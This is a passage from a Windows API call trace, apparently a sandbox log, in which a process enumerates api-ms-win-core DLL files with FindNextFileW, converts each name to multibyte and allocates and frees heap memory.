(HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.128] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.128] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.128] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.128] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.128] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.128] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.128] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0185.128] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x24c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0185.128] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.128] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.128] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.128] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.128] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.128] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.128] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.128] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0185.128] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x24c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0185.128] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.128] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.128] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.128] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.128] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.128] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.128] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.128] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0185.128] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x24c120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0185.128] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.128] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.128] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.128] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.128] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.128] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.129] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.129] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0185.129] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x24c288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0185.129] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.129] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.129] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.129] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.129] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.129] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.129] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.129] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0185.129] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x24c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0185.129] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.129] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.129] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.129] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.129] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.129] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.129] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.129] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0185.129] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x24c288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0185.129] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.129] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.129] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.129] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.129] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.129] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0185.129] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.129] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0185.129] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x24c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0185.130] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.130] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.130] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.130] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.130] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.130] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.130] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.130] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0185.130] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x24c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0185.130] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.130] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.130] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.130] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.130] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.130] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.130] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.130] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0185.130] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x24c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0185.130] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.130] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.130] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.130] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.130] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.130] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.130] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.130] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0185.130] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.130] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x24c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0185.130] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.130] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.130] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.131] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.131] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.131] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.131] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.131] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0185.131] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x24c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0185.131] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.131] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.131] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.131] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.131] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.131] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.131] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.131] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0185.131] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c288 [0185.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x24c288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0185.131] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.131] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c288) returned 1 [0185.131] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0185.131] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e950) returned 1 [0185.131] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.131] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0185.131] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e8c8 [0185.131] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24e950 [0185.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0185.131] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0185.131] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x24c120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0185.131] 